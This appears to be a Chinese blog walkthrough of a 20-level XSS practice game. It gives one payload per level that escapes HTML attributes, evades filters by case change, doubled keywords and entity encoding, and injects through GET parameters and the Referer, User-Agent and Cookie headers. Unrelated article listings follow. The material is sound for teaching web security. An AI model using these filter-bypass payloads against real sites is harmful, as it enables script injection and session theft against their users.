1.

get方式的的值直接输出来了。

?name=<script>alert(1)</script>

2.

同样没有过滤,不过需要闭合前边的双引号和>。
"><script>alert(1)</script>

3.

用htmlspecialchar函数对输入的值做了一个过滤。这个函数过滤 < > " & '但是他这个也存在过滤方法

w3c上的。很明显,他这里没有加ENT_QUOTES,是默认的形式,所以不过滤单引号。另外绕过<>的过滤,就用onXX事件,这里我用onclick。
' onclick=alert(1)//

4.

只是过滤了<>,比上一关还简单 。

" onclick=alert(1)//

5.

<script过滤为<scr_ipt,on过滤为o_n,我们可以考虑javascript伪协议。过滤的是<script,script是不会被过滤的。

"><a href=javascript:alert(1)>111</a>

6.

过滤了<script,on,src,data,href。看起来是没有办法,但是他这里忘了对get方式得到的keyword的值进行小写的函数,所以,大小写绕过。

" oNclick=alert(1)//

7.

仔细观察过滤的函数,与前边过滤不用的是,他是把敏感的字符替换为空,而且是替换一次。 双写绕过。
"><a hrhrefef=javascrscriptipt:alert(1)>111</a>
注意观察href和script哦。

8.

href都给你写好了。直接javascript,但是要注意script这里过滤了,但是javascript可以进行html编码,注意不能是url编码哟,这样url解析器会识别不出来什么协议。还有就是对script之间的一个或多个单词编码。

javascript:alert(1)

9.

和上一关基本一样,可是你输入中必须有http://,直接把这个http://写这是后边。这样,http://不但出现在了你输入的字符串里,而且被注释掉了不起任何作用。

javascript:alert(1)//http://

10.

他这里有两个get可以得到的参数的值,keyword可以得到,但是代码中并没有有关keyword得到的值的输出。看代码,还可以用t_sort得到值,我们可以构造script的方式来让他产生弹框。构造:"><script>alert(1)<script><" (注意前后的闭合) 。但是这里过滤掉了<>,所有考虑onclick事件,值得注意的是:input的type属性不是text,而是hidden,这意味我们不能通过点击输入框来让他弹框。所以我们还有加一条type="text",然后注释掉type=hiden。

t_sort=" onclick=alert(1) type=text//

11.

和上一题一个思路,只不过注入点到了http_reference,抓包,修改Referer的值

Referer: " onclick=alert(1) type=text//

12.

抓包修改user-angent的值

User-Agent:" onclick=alert(1) type=text//

13.

抓包修改cookie的值,user=不要删除了哟

Cookie: user=" onclick=alert(1) type=text//

14.

没看懂。。。

15.

也不会

16.

过滤了空格,script,/。我们可以想到用回车或者换行的html编码来绕过。%0a,%0d。
这里讲一下为什么要过滤/,因为他不想让你用必须闭合的标签。比如<a href></a>,这里过滤/这种就不能用了。但是我根据写html的经验,<a>位于<center></center>中,就算没有</a>他也能够创造链接(这里不影响到其他的内容),并且成功执行。这里,我就偏用<a href>.
然后我对javascript的某个字符编码,从而绕过script的过滤。对R编码。->r->%26%23x72%3B
为什么要进行编码?&#都比较特殊,一开始浏览器不会对他进行编码,而#有截断的功能,所以浏览器压根收不到后边的内容,但实现进行url编码,浏览器要先显示这些字符的时候url解码,就完美地还原出&#这符号了,你看第八关为什么可以直接&#x72;我也不是很清楚,做了个小实验:

输入&#72;get方式那里会自动给他编码,可能提交的方式,或者其他的形式不同吧。
?keyword=<a%0Ahref=javasc%26%23%78%37%32%3Bipt:alert(1)>a

下载链接:https://files.cnblogs.com/files/Eleven-Liu/xss练习小游戏.zip

xss games20关小游戏附源代码的更多相关文章

  1. Kinect+unity 实现体感格斗闯关小游戏

    文章目录 项目地址 1 项目概况 1.1 项目简介 1.2 项目目的 1.3 主要技术 2 设计 2.1 基本概念 2.2 框架 2.3 算法 2.4 模型 2.5 调查问卷 3 实现 3.1 技术难 ...

  2. 【CTF】某xss练手小游戏

    http://test.xss.tv 1.http://47.94.13.75/test/level1.php?name=test 直接插入即可,如: http://47.94.13.75/test/ ...

  3. XSS挑战之旅---游戏通关攻略

    最近发现一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬Mramydnei,喜欢XSS的大家可以一起来学习交流. 现在我把自己在前面的十八关里面的闯关过程记录一下,大神绕行,我是菜鸟,大家可以一 ...

  4. 用图像识别玩Chrome断网小游戏

    先来看一下效果 正文 最近在学习机器学习方面的知识,想着做个东西玩玩,然后就接触到了TensorFlow这个机器学习框架,这个框架封装了机器学习的一些常用算法. 不过要自己实现一套流程还是比较麻烦,我 ...

  5. 扫雷小游戏PyQt5开发【附源代码】

    也没啥可介绍哒,扫雷大家都玩过. 雷的分布算法也很简单,就是在雷地图(map:二维数组)中,随机放雷,然后这个雷的8个方位(上下左右.四个对角)的数字(非雷的标记.加一后不为雷的标记)都加一. 如何判 ...

  6. cocos2d-x开发的《派对小游戏》-github源代码分享

    这是博主非常久曾经写的一个cocos2d-x跨平台小游戏,我称它为<派对小游戏>,如今分享给大家.希望对大家有所帮助的话. 项目源代码地址:https://github.com/xieba ...

  7. 推箱子小游戏《格鲁的实验室》13关 - bfs最短路径

    下载了一款推箱子小游戏,第13关的时候怎么也破不了最佳纪录(最少步数是9而我们最好的方案是10步),因为数据比较小(6*8的方阵),所以写了个BFS来找最短路. 游戏的目标是把小黄人推到黄色球,小绿人 ...

  8. xss小游戏通关

    xss url:http://test.ctf8.com/level1.php?name=test 小游戏payload: <script>alert("'test'" ...

  9. 通通的最后一篇博客(附自制html5平面射击小游戏一枚)

    这是我最后一篇博客了,由于本人的人生规划吧,以后应该也写不出什么好的技术文章了,到现在在博客园写了2年, 今天一看,我也有了120个粉丝,好几万的浏览量,感谢大家的支持啊~~ 半年没有写博客了,由于半 ...

随机推荐

  1. Command Line Client(建库,建表)

    Enter password: ******Welcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection ...

  2. [转载]AngularJS入门教程01:静态模板

    为了说明angularJS如何增强了标准HTML,我们先将创建一个静态HTML页面模板,然后把这个静态HTML页面模板转换成能动态显示的AngularJS模板. 在本步骤中,我们往HTML页面中添加两 ...

  3. 【BZOJ3720】Gty的妹子树(主席树+时间分块)

    点此看题面 大致题意: 给你一棵有根树,让你支持三种操作:询问某子树中大于\(x\)的值的个数,把某一节点值改成\(x\),添加一个父节点为\(u\).权值为\(x\)的节点. 关于此题做法 此题做法 ...

  4. 安装CocoaPods遇到的问题 及其解决

    本人也是第一次安装这个 CocoaPods,所以刚开始也是遇到了很多懵逼的问题,今天终于搞定了,就自己总结一下,如有错误敬请指出,谢谢! 由于之前,对于终端命令行,不是很了解,总感觉很麻烦,所以也一直 ...

  5. 笔试算法题(46):简介 - 二叉堆 & 二项树 & 二项堆 & 斐波那契堆

    二叉堆(Binary Heap) 二叉堆是完全二叉树(或者近似完全二叉树):其满足堆的特性:父节点的值>=(<=)任何一个子节点的键值,并且每个左子树或者右子树都是一 个二叉堆(最小堆或者 ...

  6. Java - 静态方法不具有多态性

    class A1 { public static void f() {  System.out.println("A1.f()"); }}class A2 extends A1 { ...

  7. python 使用uuid 出现重复

    同时保存入数据库时候 ,使用  uuid.uuid1() 后出现 重复的 id , 现在  修改为 (uuid.uuid5(uuid.NAMESPACE_DNS, str(uuid.uuid1()) ...

  8. 6- vue django restful framework 打造生鲜超市 -完成商品列表页(下)

    Vue+Django REST framework实战 搭建一个前后端分离的生鲜超市网站 Django rtf 完成 商品列表页下 drf中的request和response drf对于django的 ...

  9. js动态刷新时间

    <script type="text/javascript"> //取得系统当前时间 function getTime(){ var myDate = new Date ...

  10. 项目实战8.1—tomcat企业级Web应用服务器配置与会话保持

    分类: Linux架构篇   tomcat企业级Web应用服务器配置与实战 环境背景:公司业务经过长期发展,有了很大突破,已经实现盈利,现公司要求加强技术架构应用功能和安全性以及开始向企业应用.移动A ...